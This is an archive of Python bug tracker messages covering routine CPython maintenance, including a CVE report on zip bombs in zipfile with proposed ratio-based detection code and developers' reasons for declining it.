In-Reply-To: <1486664862.54.0.729311605676.issue29515@psf.upfronthosting.co.za>
Message-ID: <1553783170.78.0.896449082393.issue29515@roundup.psfhosted.org>


Giampaolo Rodola' <g.rodola at gmail.com> added the comment:

Merged. I'm agnostic about backporting IPPROTO_IPV6 (or others) on < 3.8 so I'll leave it up to somebody else to decide/implement.

----------
status: open -> pending
versions:  -Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29515>
_______________________________________

From report at bugs.python.org  Thu Mar 28 10:32:41 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 28 Mar 2019 14:32:41 +0000
Subject: [issue36387] Refactor getenvironment() in _winapi.c
In-Reply-To: <1553149977.89.0.0620101720438.issue36387@roundup.psfhosted.org>
Message-ID: <1553783561.76.0.785838316625.issue36387@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36387>
_______________________________________

From report at bugs.python.org  Thu Mar 28 10:44:25 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 28 Mar 2019 14:44:25 +0000
Subject: [issue36459] A possible double PyMem_FREE() due to tokenizer.c's
 tok_nextc()
In-Reply-To: <1553747599.58.0.374930801661.issue36459@roundup.psfhosted.org>
Message-ID: <1553784265.73.0.263579910011.issue36459@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset dffe90ee0eaf77785ad3d4ad7fb3249430ed1cb9 by Miss Islington (bot) in branch '2.7':
bpo-36459: Fix a possible double PyMem_FREE() due to tokenizer.c's tok_nextc() (12601)
https://github.com/python/cpython/commit/dffe90ee0eaf77785ad3d4ad7fb3249430ed1cb9


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36459>
_______________________________________

From report at bugs.python.org  Thu Mar 28 10:55:20 2019
From: report at bugs.python.org (R. David Murray)
Date: Thu, 28 Mar 2019 14:55:20 +0000
Subject: [issue36460] Add AMP MIME type support
In-Reply-To: <CAOoRTsWnJ4QYQV=AtZ9b=rZJOfzCZgMAkDJe6t0so6Jjz6cKKA@mail.gmail.com>
Message-ID: <20190328145517.B5944251E43@webabinitio.net>


R. David Murray <rdmurray at bitdance.com> added the comment:

That link should do for our purposes here.

The fact that it is an 'x-' mimetype means it has not been approved at
any level.  There might be an in progress application to the mimetype
registry, but if so the web site doesn't mention it anywhere obvious.

I'm not sure about the filetype problem, but I'm guessing amp isn't the
only mimetype that will have this issue going forward, so we probably need
to come up with a solution.  You don't need support from the mimetypes
module to create or manipulate emails using the content-type, though,
so it isn't a blocker on that side.

That lightning thing is *seriously* hokey :(

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36460>
_______________________________________

From report at bugs.python.org  Thu Mar 28 11:08:49 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 28 Mar 2019 15:08:49 +0000
Subject: [issue36459] A possible double PyMem_FREE() due to tokenizer.c's
 tok_nextc()
In-Reply-To: <1553747599.58.0.374930801661.issue36459@roundup.psfhosted.org>
Message-ID: <1553785729.43.0.948306823169.issue36459@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 6fd3c852b15820480ad2ea83e7857615c4976304 by Miss Islington (bot) in branch '3.7':
bpo-36459: Fix a possible double PyMem_FREE() due to tokenizer.c's tok_nextc() (12601)
https://github.com/python/cpython/commit/6fd3c852b15820480ad2ea83e7857615c4976304


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36459>
_______________________________________

From report at bugs.python.org  Thu Mar 28 11:15:08 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 28 Mar 2019 15:15:08 +0000
Subject: [issue36459] A possible double PyMem_FREE() due to tokenizer.c's
 tok_nextc()
In-Reply-To: <1553747599.58.0.374930801661.issue36459@roundup.psfhosted.org>
Message-ID: <1553786107.99.0.0594693339044.issue36459@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36459>
_______________________________________

From report at bugs.python.org  Thu Mar 28 11:32:40 2019
From: report at bugs.python.org (Julien Palard)
Date: Thu, 28 Mar 2019 15:32:40 +0000
Subject: [issue36425] Add Simplified Chinese to the language switcher
In-Reply-To: <1553534809.43.0.761682009724.issue36425@roundup.psfhosted.org>
Message-ID: <1553787160.53.0.940564575559.issue36425@roundup.psfhosted.org>


Julien Palard <julien+python at palard.fr> added the comment:


New changeset 45a5fdb91cee665161a8b1980bb4e6ccb999f58f by Julien Palard (zhsj) in branch 'master':
bpo-36425: Add Simplified Chinese to the language switcher (GH-12537)
https://github.com/python/cpython/commit/45a5fdb91cee665161a8b1980bb4e6ccb999f58f


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36425>
_______________________________________

From report at bugs.python.org  Thu Mar 28 11:36:03 2019
From: report at bugs.python.org (Ezio Melotti)
Date: Thu, 28 Mar 2019 15:36:03 +0000
Subject: [issue36425] Add Simplified Chinese to the language switcher
In-Reply-To: <1553534809.43.0.761682009724.issue36425@roundup.psfhosted.org>
Message-ID: <1553787363.42.0.440649496111.issue36425@roundup.psfhosted.org>


Change by Ezio Melotti <ezio.melotti at gmail.com>:


----------
nosy: +ezio.melotti

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36425>
_______________________________________

From report at bugs.python.org  Thu Mar 28 11:46:11 2019
From: report at bugs.python.org (JUN-WEI SONG)
Date: Thu, 28 Mar 2019 15:46:11 +0000
Subject: [issue36462] CVE-2019-9674 : zip bomb vulnerability in Lib/zipfile.py
Message-ID: <1553787971.02.0.405823788778.issue36462@roundup.psfhosted.org>


New submission from JUN-WEI SONG <sungboss2004 at gmail.com>:

Dear Python Community, 

we found a python module vulnerability during these days and we got a CVE number, CVE-2019-9674 after reported it to cve.mitre.org.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9674


The reserved information of CVE-2019-9674 is shown below:

	   [Description]

           Lib/zipfile.py in Python through 3.7.2 allows remote 
           attackers to cause a denial of service (resource consumption) 
           via a ZIP bomb.


           [Additional Information]

           The python zipfile library version 3.2, 3.3, 3.4, 3.5, 3.6, 
           3.7, 3.8. Allow attackers to cause a denial of service (disk 
           volume exhaustion) via a ZIP bomb.


           We have found python standard library zipfile doesn't have 
           ZIP bomb detection and protection. If the user uses zipfile 
           library to unzip a ZIP bomb file, this might cause a denial 
           of service of the localhost.


          [VulnerabilityType Other]

          Denial-of-Service



Our proposed solutions:


    1.The compression ratio:

    Compression ratio = Uncompressed file size / Compressed file size

    Since ZIP bomb file has a higher compression ratio (1028) than 
    normal ZIP file (1 to 3). Therefore, we calculate the compression 
    ratio and set a threshold for the detection.

    2.Nested zip file

    There is a high chance that it is zip bomb if it is a nested zip 
    file. 

    3.By limiting resources such as CPU, memory, disk usage.


Unsolved issue

    However, we have not yet determined the compression ratio. We 
    temporarily set the compression ratio to 10, and if it exceeds, it 
    may be a ZIP bomb.

    It is likely that detection may misjudge nested compressed files. 
    For example, under normal circumstances, compressed files are 
    included in the zip file.


Our solution code?

"""For ratio"""

def _exam_ratio(self, threshold=10):
    """If the ratio exceeds threshold, it may be a ZIP Bomb."""
    sum_file_size = sum([data.file_size for data in self.filelist])
    sum_compress_size = sum([data.compress_size for data in self.filelist])
    ratio = sum_file_size / sum_compress_size
    if (ratio > threshold):
        raise BadZipFile("Zip Bomb Detected")

"""For Nested zip file"""

if(members.filename.endswith(".zip")):
    raise BadZipFile("Nested Zip File Detected")


Thanks!

----------
components: Library (Lib)
messages: 339053
nosy: krnick
priority: normal
severity: normal
status: open
title: CVE-2019-9674 : zip bomb vulnerability in Lib/zipfile.py
type: security
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36462>
_______________________________________

From report at bugs.python.org  Thu Mar 28 11:50:18 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Thu, 28 Mar 2019 15:50:18 +0000
Subject: [issue36462] CVE-2019-9674 : zip bomb vulnerability in Lib/zipfile.py
In-Reply-To: <1553787971.02.0.405823788778.issue36462@roundup.psfhosted.org>
Message-ID: <1553788218.98.0.192488525003.issue36462@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
nosy: +serhiy.storchaka, twouters

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36462>
_______________________________________

From report at bugs.python.org  Thu Mar 28 11:59:15 2019
From: report at bugs.python.org (Toon Verstraelen)
Date: Thu, 28 Mar 2019 15:59:15 +0000
Subject: [issue28718] '*' matches entire path in fnmatch
In-Reply-To: <1479327127.15.0.931047394142.issue28718@psf.upfronthosting.co.za>
Message-ID: <1553788755.44.0.876720972057.issue28718@roundup.psfhosted.org>


Toon Verstraelen <toon.verstraelen at gmail.com> added the comment:

For consistency with the corresponding feature in the glob function since Python 3.5, I would suggest to add an extra optional argument 'recursive' instead of 'glob_asterisks'. With the default recursive=False, one gets the old behavior, with recursive=True, it can handle the '**' and '*' as in pywildcard.

I realize that with recursive=False, the behavior is not exactly consistent with glob, but  I'd still prefer the same name for the optional argument. It is the common terminology for this type of feature. See https://en.wikipedia.org/wiki/Matching_wildcards

----------
nosy: +Toon Verstraelen

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue28718>
_______________________________________

From report at bugs.python.org  Thu Mar 28 12:16:59 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 28 Mar 2019 16:16:59 +0000
Subject: [issue36462] CVE-2019-9674 : zip bomb vulnerability in Lib/zipfile.py
In-Reply-To: <1553787971.02.0.405823788778.issue36462@roundup.psfhosted.org>
Message-ID: <1553789819.39.0.837380747485.issue36462@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

I do not think that the library should limit the compression ratio. Large compression ratio is legit. For example, compressed file of size 1 GiB consisting of zeros has the compress ratio 1030 (and I suppose it is even larger if use bzip2 or lzma compressions).

If this is a problem for your program, your program should make a decision what ZIP files should be rejected.

I suggest to close this issue as "not a bug".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36462>
_______________________________________

From report at bugs.python.org  Thu Mar 28 12:27:12 2019
From: report at bugs.python.org (Jeroen Demeyer)
Date: Thu, 28 Mar 2019 16:27:12 +0000
Subject: [issue35983] tp_dealloc trashcan shouldn't be called for subclasses
In-Reply-To: <1550055751.42.0.717332216151.issue35983@roundup.psfhosted.org>
Message-ID: <1553790432.07.0.979482971653.issue35983@roundup.psfhosted.org>


Change by Jeroen Demeyer <J.Demeyer at UGent.be>:


----------
pull_requests: +12546

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35983>
_______________________________________

From report at bugs.python.org  Thu Mar 28 12:38:25 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Thu, 28 Mar 2019 16:38:25 +0000
Subject: [issue36462] CVE-2019-9674 : zip bomb vulnerability in Lib/zipfile.py
In-Reply-To: <1553787971.02.0.405823788778.issue36462@roundup.psfhosted.org>
Message-ID: <1553791105.32.0.343228847342.issue36462@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Going by CVE number and report is this a duplicate of issue36260 ?

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36462>
_______________________________________

From report at bugs.python.org  Thu Mar 28 12:40:54 2019
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 28 Mar 2019 16:40:54 +0000
Subject: [issue36453] pkgutil.get_importer only return the first valid
 path_hook(importer)
In-Reply-To: <1553731868.7.0.689003457524.issue36453@roundup.psfhosted.org>
Message-ID: <1553791254.68.0.739489695055.issue36453@roundup.psfhosted.org>


Change by Brett Cannon <brett at python.org>:


----------
title: get_importer only return the first valid path_hook(importer) -> pkgutil.get_importer only return the first valid path_hook(importer)

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36453>
_______________________________________

From report at bugs.python.org  Thu Mar 28 12:41:08 2019
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 28 Mar 2019 16:41:08 +0000
Subject: [issue36453] pkgutil.get_importer only return the first valid
 path_hook(importer)
In-Reply-To: <1553731868.7.0.689003457524.issue36453@roundup.psfhosted.org>
Message-ID: <1553791268.0.0.129746158527.issue36453@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

To clarify, this is for pkgutil.

----------
nosy: +brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36453>
_______________________________________

From report at bugs.python.org  Thu Mar 28 12:41:20 2019
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 28 Mar 2019 16:41:20 +0000
Subject: [issue36453] pkgutil.get_importer only return the first valid
 path_hook(importer)
In-Reply-To: <1553731868.7.0.689003457524.issue36453@roundup.psfhosted.org>
Message-ID: <1553791280.9.0.681199271012.issue36453@roundup.psfhosted.org>


Change by Brett Cannon <brett at python.org>:


----------
nosy:  -brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36453>
_______________________________________

From report at bugs.python.org  Thu Mar 28 12:43:08 2019
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 28 Mar 2019 16:43:08 +0000
Subject: [issue36462] CVE-2019-9674 : zip bomb vulnerability in Lib/zipfile.py
In-Reply-To: <1553787971.02.0.405823788778.issue36462@roundup.psfhosted.org>
Message-ID: <1553791388.9.0.606055316534.issue36462@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

Closing as a duplicate of issue36260.

----------
nosy: +brett.cannon
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> Cpython/Lib vulnerability found and request a patch submission

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36462>
_______________________________________

From report at bugs.python.org  Thu Mar 28 12:47:52 2019
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 28 Mar 2019 16:47:52 +0000
Subject: [issue31904] Python should support VxWorks RTOS
In-Reply-To: <1509393393.78.0.213398074469.issue31904@psf.upfronthosting.co.za>
Message-ID: <1553791672.39.0.541030923173.issue31904@roundup.psfhosted.org>


Christian Heimes <lists at cheimes.de> added the comment:

I'm against implementing crypt on top of OpenSSL's DES_crypt. Please don't support the module at all instead of just supporting a completely broken implementation.

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31904>
_______________________________________

From report at bugs.python.org  Thu Mar 28 12:54:25 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Thu, 28 Mar 2019 16:54:25 +0000
Subject: [issue36462] CVE-2019-9674 : zip bomb vulnerability in Lib/zipfile.py
In-Reply-To: <1553787971.02.0.405823788778.issue36462@roundup.psfhosted.org>
Message-ID: <1553792065.63.0.750797911013.issue36462@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

I would request closing the other one as duplicate and opening this since this contains the actual report or perhaps the report could be copied to issue36260. Since Serhiy suggested closing this as not a bug I will leave it to him on resolution of the other issue too.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36462>
_______________________________________

From report at bugs.python.org  Thu Mar 28 12:54:47 2019
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 28 Mar 2019 16:54:47 +0000
Subject: [issue36260] Cpython/Lib vulnerability found and request a patch
 submission
In-Reply-To: <1552288618.75.0.236192047967.issue36260@roundup.psfhosted.org>
Message-ID: <1553792087.25.0.546401877063.issue36260@roundup.psfhosted.org>


Christian Heimes <lists at cheimes.de> added the comment:

Issue #36462 contains more information. The reporter claims that the zipfile module is inherent insecure because it does not provide any heuristics to make zipbomb attacks harder.

I'm -1 to implement such a heuristic. The zipfile module is a low level module and should not limit extraction by defaykt. Instead we should improve documentation and maybe implement some method that simplifies detection of zipbomb attacks. I'm thinking about a method that returns total count of files, total compressed size and total uncompressed size.

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36260>
_______________________________________

From report at bugs.python.org  Thu Mar 28 13:05:32 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 28 Mar 2019 17:05:32 +0000
Subject: [issue36260] Cpython/Lib vulnerability found and request a patch
 submission
In-Reply-To: <1552288618.75.0.236192047967.issue36260@roundup.psfhosted.org>
Message-ID: <1553792732.03.0.268881941542.issue36260@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

All these are simple one-liners:

    len(zf.infolist())
    sum(zi.compress_size for zi in zf.infolist())
    sum(zi.file_size for zi in zf.infolist())

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36260>
_______________________________________

From report at bugs.python.org  Thu Mar 28 13:16:06 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 28 Mar 2019 17:16:06 +0000
Subject: [issue36425] Add Simplified Chinese to the language switcher
In-Reply-To: <1553534809.43.0.761682009724.issue36425@roundup.psfhosted.org>
Message-ID: <1553793366.4.0.710379145495.issue36425@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12547

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36425>
_______________________________________

From report at bugs.python.org  Thu Mar 28 13:36:02 2019
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 28 Mar 2019 17:36:02 +0000
Subject: [issue36462] CVE-2019-9674 : zip bomb vulnerability in Lib/zipfile.py
In-Reply-To: <1553792065.63.0.750797911013.issue36462@roundup.psfhosted.org>
Message-ID: <CAP1=2W56P8mhNd3MX+aU9v=XcUz4bU275jorLWGv-qjuEy3+2w@mail.gmail.com>


Brett Cannon <brett at python.org> added the comment:

You can also leave a comment in the other issue saying there's more details
in the closed duplicate.

On Thu, Mar 28, 2019 at 9:54 AM Karthikeyan Singaravelan <
report at bugs.python.org> wrote:

>
> Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:
>
> I would request closing the other one as duplicate and opening this since
> this contains the actual report or perhaps the report could be copied to
> issue36260. Since Serhiy suggested closing this as not a bug I will leave
> it to him on resolution of the other issue too.
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue36462>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36462>
_______________________________________

From report at bugs.python.org  Thu Mar 28 13:39:40 2019
From: report at bugs.python.org (Daniel Black)
Date: Thu, 28 Mar 2019 17:39:40 +0000
Subject: [issue36460] Add AMP MIME type support
In-Reply-To: <20190328145517.B5944251E43@webabinitio.net>
Message-ID: <CAOoRTsVpjRG7LQMJQgMnSLq1RgZqZzmK-zTijL9StpSbLiWwig@mail.gmail.com>


Daniel Black <dyspop at gmail.com> added the comment:

I see! Okay... I'll consider a solution to the filetype portion of the
mimetypes map. Do you happen to know which other modules may depend on that
structure?

Yes... the lightning is silly.

Dan Black
http://dan.black
917-873-3970

On Thu, Mar 28, 2019 at 10:55 AM R. David Murray <report at bugs.python.org>
wrote:

>
> R. David Murray <rdmurray at bitdance.com> added the comment:
>
> That link should do for our purposes here.
>
> The fact that it is an 'x-' mimetype means it has not been approved at
> any level.  There might be an in progress application to the mimetype
> registry, but if so the web site doesn't mention it anywhere obvious.
>
> I'm not sure about the filetype problem, but I'm guessing amp isn't the
> only mimetype that will have this issue going forward, so we probably need
> to come up with a solution.  You don't need support from the mimetypes
> module to create or manipulate emails using the content-type, though,
> so it isn't a blocker on that side.
>
> That lightning thing is *seriously* hokey :(
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue36460>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36460>
_______________________________________

From report at bugs.python.org  Thu Mar 28 13:42:37 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Thu, 28 Mar 2019 17:42:37 +0000
Subject: [issue28718] '*' matches entire path in fnmatch
In-Reply-To: <1479327127.15.0.931047394142.issue28718@psf.upfronthosting.co.za>
Message-ID: <1553794957.07.0.915427214993.issue28718@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue28718>
_______________________________________

From report at bugs.python.org  Thu Mar 28 13:54:22 2019
From: report at bugs.python.org (Julien Palard)
Date: Thu, 28 Mar 2019 17:54:22 +0000
Subject: [issue36451] Docs zh-cn roots error in nav bar
In-Reply-To: <1553728016.97.0.58667749867.issue36451@roundup.psfhosted.org>
Message-ID: <1553795662.4.0.807050110081.issue36451@roundup.psfhosted.org>


Julien Palard <julien+python at palard.fr> added the comment:

There was no link to zh-cn because they did not reached the completion needed for the link to appear.

Now it's done, so per https://bugs.python.org/issue36425 this will be resolved.

----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> Add Simplified Chinese to the language switcher

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36451>
_______________________________________

From report at bugs.python.org  Thu Mar 28 13:59:12 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 28 Mar 2019 17:59:12 +0000
Subject: [issue35941] ssl.enum_certificates() regression
In-Reply-To: <1549637009.73.0.764067041861.issue35941@roundup.psfhosted.org>
Message-ID: <1553795952.8.0.103797890585.issue35941@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset d93fbbf88e4abdd24a0a55e3ddf85b8420c62052 by Steve Dower (kctherookie) in branch 'master':
bpo-35941: Fix ssl certificate enumeration for windows (GH-12486)
https://github.com/python/cpython/commit/d93fbbf88e4abdd24a0a55e3ddf85b8420c62052


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35941>
_______________________________________

From report at bugs.python.org  Thu Mar 28 13:59:28 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 28 Mar 2019 17:59:28 +0000
Subject: [issue35941] ssl.enum_certificates() regression
In-Reply-To: <1549637009.73.0.764067041861.issue35941@roundup.psfhosted.org>
Message-ID: <1553795968.7.0.369710017705.issue35941@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12548

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35941>
_______________________________________

From report at bugs.python.org  Thu Mar 28 14:12:49 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 28 Mar 2019 18:12:49 +0000
Subject: [issue36425] Add Simplified Chinese to the language switcher
In-Reply-To: <1553534809.43.0.761682009724.issue36425@roundup.psfhosted.org>
Message-ID: <1553796769.14.0.421419775796.issue36425@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 1d9f1a0c9690f4e53003dc5e625a2867715c828a by Miss Islington (bot) in branch '3.7':
bpo-36425: Add Simplified Chinese to the language switcher (GH-12537)
https://github.com/python/cpython/commit/1d9f1a0c9690f4e53003dc5e625a2867715c828a


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36425>
_______________________________________

From report at bugs.python.org  Thu Mar 28 14:13:48 2019
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 28 Mar 2019 18:13:48 +0000
Subject: [issue35941] ssl.enum_certificates() regression
In-Reply-To: <1549637009.73.0.764067041861.issue35941@roundup.psfhosted.org>
Message-ID: <1553796828.56.0.203686275839.issue35941@roundup.psfhosted.org>


Christian Heimes <lists at cheimes.de> added the comment:

Steve, why did you add the list_contains() check? Does the new code return one certificate multiple times? I'm worried that the performance of check is rather slow. IMHO it would be more efficient to use a set here.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35941>
_______________________________________

From report at bugs.python.org  Thu Mar 28 14:19:27 2019
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 28 Mar 2019 18:19:27 +0000
Subject: [issue35941] ssl.enum_certificates() regression
In-Reply-To: <1549637009.73.0.764067041861.issue35941@roundup.psfhosted.org>
Message-ID: <1553797167.16.0.20098803996.issue35941@roundup.psfhosted.org>


Christian Heimes <lists at cheimes.de> added the comment:

By the way, OpenSSL ignores duplicate certificates. There is no need to filter out duplicate entries. However it is more efficient to filter them out early, because OpenSSL filters after parsing the ASN.1 structure.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35941>
_______________________________________

From report at bugs.python.org  Thu Mar 28 14:31:30 2019
From: report at bugs.python.org (R. David Murray)
Date: Thu, 28 Mar 2019 18:31:30 +0000
Subject: [issue36460] Add AMP MIME type support
In-Reply-To: <CAOoRTsVpjRG7LQMJQgMnSLq1RgZqZzmK-zTijL9StpSbLiWwig@mail.gmail.com>
Message-ID: <20190328183128.6CC6B251E6D@webabinitio.net>


R. David Murray <rdmurray at bitdance.com> added the comment:

Not sure what you mean by "depend on that structure".  A quick grep
shows the only stdlib modules that use mimetimes are urllib and
http.server.

Backward compatibility will of course be a significant issue here.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36460>
_______________________________________

From report at bugs.python.org  Thu Mar 28 14:37:02 2019
From: report at bugs.python.org (Michael Selik)
Date: Thu, 28 Mar 2019 18:37:02 +0000
Subject: [issue34498] Python 3.7 breaks on
 singledispatch_function.register(pseudo_type), which Python 3.6 accepted
In-Reply-To: <1535199569.5.0.56676864532.issue34498@psf.upfronthosting.co.za>
Message-ID: <1553798222.99.0.343247163017.issue34498@roundup.psfhosted.org>


Michael Selik <mike at selik.org> added the comment:

+1 for this use case. Until it's resolved, perhaps there should be a note in the singledispatch docs that types from the ``typing`` module should not be used?

----------
nosy: +selik

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34498>
_______________________________________

From report at bugs.python.org  Thu Mar 28 14:40:25 2019
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 28 Mar 2019 18:40:25 +0000
Subject: [issue35941] ssl.enum_certificates() regression
In-Reply-To: <1549637009.73.0.764067041861.issue35941@roundup.psfhosted.org>
Message-ID: <1553798425.81.0.0601738748465.issue35941@roundup.psfhosted.org>


Change by Christian Heimes <lists at cheimes.de>:


----------
pull_requests: +12549

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35941>
_______________________________________

From report at bugs.python.org  Thu Mar 28 14:45:01 2019
From: report at bugs.python.org (Daniel Black)
Date: Thu, 28 Mar 2019 18:45:01 +0000
Subject: [issue36460] Add AMP MIME type support
In-Reply-To: <20190328183128.6CC6B251E6D@webabinitio.net>
Message-ID: <CAOoRTsXohj2uzp7n5mbb9Sxmuv9611003PFMkkNz28Fa_j7THg@mail.gmail.com>


Daniel Black <dyspop at gmail.com> added the comment:

That's exactly what I meant: use, but in a way that cares how that data is
structured. Thanks for the pointer, I'll take a look.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36460>
_______________________________________

From report at bugs.python.org  Thu Mar 28 14:56:56 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 28 Mar 2019 18:56:56 +0000
Subject: [issue35941] ssl.enum_certificates() regression
In-Reply-To: <1549637009.73.0.764067041861.issue35941@roundup.psfhosted.org>
Message-ID: <1553799416.06.0.0417892378853.issue35941@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset e9868c5416731f5ca5378a1d36e4b020c349291c by Miss Islington (bot) in branch '3.7':
bpo-35941: Fix ssl certificate enumeration for windows (GH-12486)
https://github.com/python/cpython/commit/e9868c5416731f5ca5378a1d36e4b020c349291c


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35941>
_______________________________________

From report at bugs.python.org  Thu Mar 28 15:32:46 2019
From: report at bugs.python.org (Savagery)
Date: Thu, 28 Mar 2019 19:32:46 +0000
Subject: [issue36463] python37.dll crashing 0xc000041d
Message-ID: <1553801566.37.0.489496504409.issue36463@roundup.psfhosted.org>


New submission from Savagery <lucas.johnathan.wilson at gmail.com>:

Faulting application name: python.exe, version: 3.7.2150.1013, time stamp: 0x5c200a7f
Faulting module name: python37.dll, version: 3.7.2150.1013, time stamp: 0x5c200a56
Exception code: 0xc000041d
Fault offset: 0x0011517b
Faulting process ID: 0x4c2c
Faulting application start time: 0x01d4e5999a14e806
Faulting application path: C:\Users\lwilson\AppData\Local\Programs\Python\Python37-32\python.exe
Faulting module path: C:\Users\lwilson\AppData\Local\Programs\Python\Python37-32\python37.dll
Report ID: 511d75b6-febe-4358-a886-ccfd89b1747e
Faulting package full name: 
Faulting package-relative application ID: 

------

I'm using ctypes to create a UI in my code, python is crashing silently. Managed to get some info from windows event log. Have no clue why - seems the more static controls I create, the higher the likelihood of this happening is.

----------
components: Windows
files: debug.rar
messages: 339074
nosy: Savagery, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: python37.dll crashing 0xc000041d
type: crash
versions: Python 3.7
Added file: https://bugs.python.org/file48236/debug.rar

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36463>
_______________________________________

